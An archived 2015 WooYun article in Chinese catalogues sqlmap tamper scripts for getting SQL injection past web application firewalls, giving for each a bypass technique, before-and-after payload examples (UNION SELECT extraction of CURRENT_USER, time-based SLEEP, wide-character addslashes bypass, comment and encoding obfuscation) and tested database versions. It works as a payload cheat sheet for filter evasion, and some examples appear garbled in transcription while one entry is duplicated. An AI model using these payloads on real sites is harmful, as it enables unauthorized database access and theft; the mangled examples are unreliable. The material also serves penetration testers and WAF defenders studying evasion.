# 使用sqlmap中tamper脚本绕过waf

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-02-02T03:26:00Z
Canonical: https://wepostx.com/topics/701

> 乌云历史资料归档
>
> **原始作者：** 刘海哥
> **原始编号：** superkieran-wooyundrops:460
> **原始发布时间：** 2015-02-02 11:26
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 背景

sqlmap中的tamper脚本来对目标进行更高效的攻击。
由于乌云知识库少了sqlmap-tamper 收集一下，方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我，着能偷偷说一下多做一些收集对吸收知识很快。

# 0x01 start

## 脚本名：apostrophemask.py

作用：用utf8代替引号

```text
#!sql Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
```
Tested against: all

## 脚本名：equaltolike.py

作用：like 代替等号

```text
#!sql Example: * Input: SELECT * FROM users WHERE id=1 * Output: SELECT * FROM users WHERE id LIKE 1
```
案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三：http://wooyun.org/bugs/wooyun-2010-072489
脚本名：space2dash.py

作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）

```text
#!sql Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
```
Tested against: * MSSQL * SQLite
案例一：http://wooyun.org/bugs/wooyun-2010-062878

## 脚本名：greatest.py

作用：绕过过滤’>’ ,用GREATEST替换大于号。

```text
#!sql Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
```

## 脚本名：space2hash.py

作用：空格替换为#号 随机字符串 以及换行符

```text
#!sql Example: * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
```
Requirement:

- MySQL Tested against:

- MySQL 4.0, 5.0

参考:[法克的一篇文章](http://www.f4ck.org/article-2183-1.html)

## 脚本名：apostrophenullencode.py

作用：绕过过滤双引号，替换字符和双引号。

```text
#!sql Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'
```
Tested against:

- MySQL 4, 5.0 and 5.5

- Oracle 10g

- PostgreSQL 8.3, 8.4, 9.0

## 脚本名：halfversionedmorekeywords.py

作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

```text
#!sql Example: ("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
```
Requirement:

- MySQL < 5.1
Tested against:

- MySQL 4.0.18, 5.0.22

## 脚本名：space2morehash.py

作用：空格替换为 #号 以及更多随机字符串 换行符

```text
#!sql Example: * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
```
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
案例一:[91ri一篇文章](http://www.91ri.org/5411.html)

## 脚本名：appendnullbyte.py

作用：在有效负荷结束位置加载零字节字符编码

```text
#!sql Example: ('1 AND 1=1') '1 AND 1=1%00'
```
Requirement:

- Microsoft Access

## 脚本名：ifnull2ifisnull.py

作用：绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

```text
#!sql Example: ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'
```
Requirement:

- MySQL

- SQLite (possibly)

- SAP MaxDB (possibly)

Tested against:

- MySQL 5.0 and 5.5

## 脚本名：space2mssqlblank.py(mssql)

作用：空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

## ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

## 脚本名：base64encode.py

作用：用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229

## 脚本名：space2mssqlhash.py

作用：替换空格

```text
#!sql Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL
```

## 脚本名：modsecurityversioned.py

作用：过滤空格，包含完整的查询版本注释

```text
#!sql Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'
```
Requirement: * MySQL
Tested against:

- MySQL 5.0

## 脚本名：space2mysqlblank.py

作用：空格替换其它空白符号(mysql)

```text
#!sql Example: * Input: SELECT id FROM users * Output: SELECT%0Bid%0BFROM%A0users
```
Requirement:

- MySQL
Tested against:

- MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735

## 脚本名：between.py

作用：用between替换大于号（>）

```text
#!sql Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'
```
Tested against:

- Microsoft SQL Server 2005

- MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

## 脚本名：space2mysqldash.py

作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
注：之前有个mssql的 这个是mysql的

```text
#!sql Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'
```
Requirement:

- MySQL

- MSSQL

## 脚本名：multiplespaces.py

作用：围绕SQL关键字添加多个空格

```text
#!sql Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'
```
Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489

## 脚本名：space2plus.py

作用：用+替换空格

```text
#!sql Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all
```

## 脚本名：bluecoat.py

作用：代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

```text
#!sql Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'
```
Tested against:

- MySQL 5.1, SGOS

## 脚本名：nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

```text
#!sql Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all
```

## 脚本名：space2randomblank.py

作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集

```text
#!sql Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'
```
Tested against: all

## 脚本名：sp_password.py

作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

```text
#!sql Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL
```

## 脚本名：chardoubleencode.py

作用: 双url编码(不处理以编码的)

```text
#!sql Example: * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
```

## 脚本名：unionalltounion.py

作用：替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all

## 脚本名：charencode.py

作用：url编码

```text
#!sql Example: * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
```
tested against:

- Microsoft SQL Server 2005

- MySQL 4, 5.0 and 5.5

- Oracle 10g

- PostgreSQL 8.3, 8.4, 9.0

## 脚本名：randomcase.py

作用：随机大小写 Example:

- Input: INSERT

- Output: InsERt
Tested against:

- Microsoft SQL Server 2005

- MySQL 4, 5.0 and 5.5

- Oracle 10g

- PostgreSQL 8.3, 8.4, 9.0

## 脚本名：unmagicquotes.py

作用：宽字符绕过 GPC addslashes

```text
#!sql Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
```

## 脚本名：randomcomments.py

作用：用/**/分割sql关键字

```text
#!sql Example: ‘INSERT’ becomes ‘IN//S//ERT’
```

## 脚本名：charunicodeencode.py

作用：字符串 unicode 编码

```text
#!sql Example: * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
```
Requirement:

- ASP

- ASP.NET

Tested against:

- Microsoft SQL Server 2000

- Microsoft SQL Server 2005

- MySQL 5.1.56

- PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

## 脚本名：securesphere.py

作用：追加特制的字符串

```text
#!sql Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"
```
Tested against: all

## 脚本名：versionedmorekeywords.py

作用：注释绕过

```text
#!sql Example: * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
```
Requirement:

- MySQL >= 5.1.13

## 脚本名：space2comment.py

作用：Replaces space character (‘ ‘) with comments ‘/**/’

```text
#!sql Example: * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
```
Tested against:

- Microsoft SQL Server 2005

- MySQL 4, 5.0 and 5.5

- Oracle 10g

- PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

## 脚本名：halfversionedmorekeywords.py

作用：关键字前加注释

```text
#!sql Example: * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
```
Requirement:

- MySQL < 5.1
Tested against:

- MySQL 4.0.18, 5.0.22
收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html

## Replies